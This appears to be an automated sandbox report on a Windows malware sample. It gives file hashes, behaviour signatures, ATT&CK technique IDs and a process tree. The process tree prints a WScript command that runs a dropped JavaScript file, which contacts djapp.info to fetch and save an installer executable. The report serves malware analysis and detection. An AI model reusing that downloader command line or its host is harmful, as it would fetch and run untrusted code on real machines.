b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76

Analysis

max time kernel
141s
max time network
167s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04-12-2022 03:10

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General

Target

b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe
Size

184KB
MD5

8914eb5da84efb6e99cee294c74fd080
SHA1

0c5ab6a362d990668457fa614baebfccac4c9bd3
SHA256

b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76
SHA512

274b488b10a2a3454eeac5ad1b301935abb3ce7c8555c37e5daa39499976d050bbb2953ecab7498808bd0e02a74c9e636e44f17c2465030ec7a63528fcd7443b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3/:/7BSH8zUB+nGESaaRvoB7FJNndn+

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
6	4268	WScript.exe
18	4268	WScript.exe
20	4268	WScript.exe
30	3548	WScript.exe
31	3548	WScript.exe
34	3548	WScript.exe
35	3548	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
964	4356	WerFault.exe	76

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	30	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4356 wrote to memory of 4268	4356	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe	77
PID 4356 wrote to memory of 4268	4356	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe	77
PID 4356 wrote to memory of 4268	4356	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe	77
PID 4356 wrote to memory of 3548	4356	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe	87
PID 4356 wrote to memory of 3548	4356	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe	87
PID 4356 wrote to memory of 3548	4356	b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe	87

C:\Users\Admin\AppData\Local\Temp\b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe
"C:\Users\Admin\AppData\Local\Temp\b038b892a63fd090c6b79fc04ebce15d164a12a6d4dc924e29b62c4bbb346d76.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4356
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA889.js" http://www.djapp.info/?domain=vtnbnDvCqV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fufA889.exe
  2⤵
  - Blocklisted process makes network request
  PID:4268
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA889.js" http://www.djapp.info/?domain=vtnbnDvCqV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fufA889.exe
  2⤵
  - Blocklisted process makes network request
  PID:3548
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4356 -s 1084
  2⤵
  - Program crash
  PID:964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4356 -ip 4356
1⤵
PID:4060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufA889.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/3548-134-0x0000000000000000-mapping.dmp

Download
memory/4268-132-0x0000000000000000-mapping.dmp

Download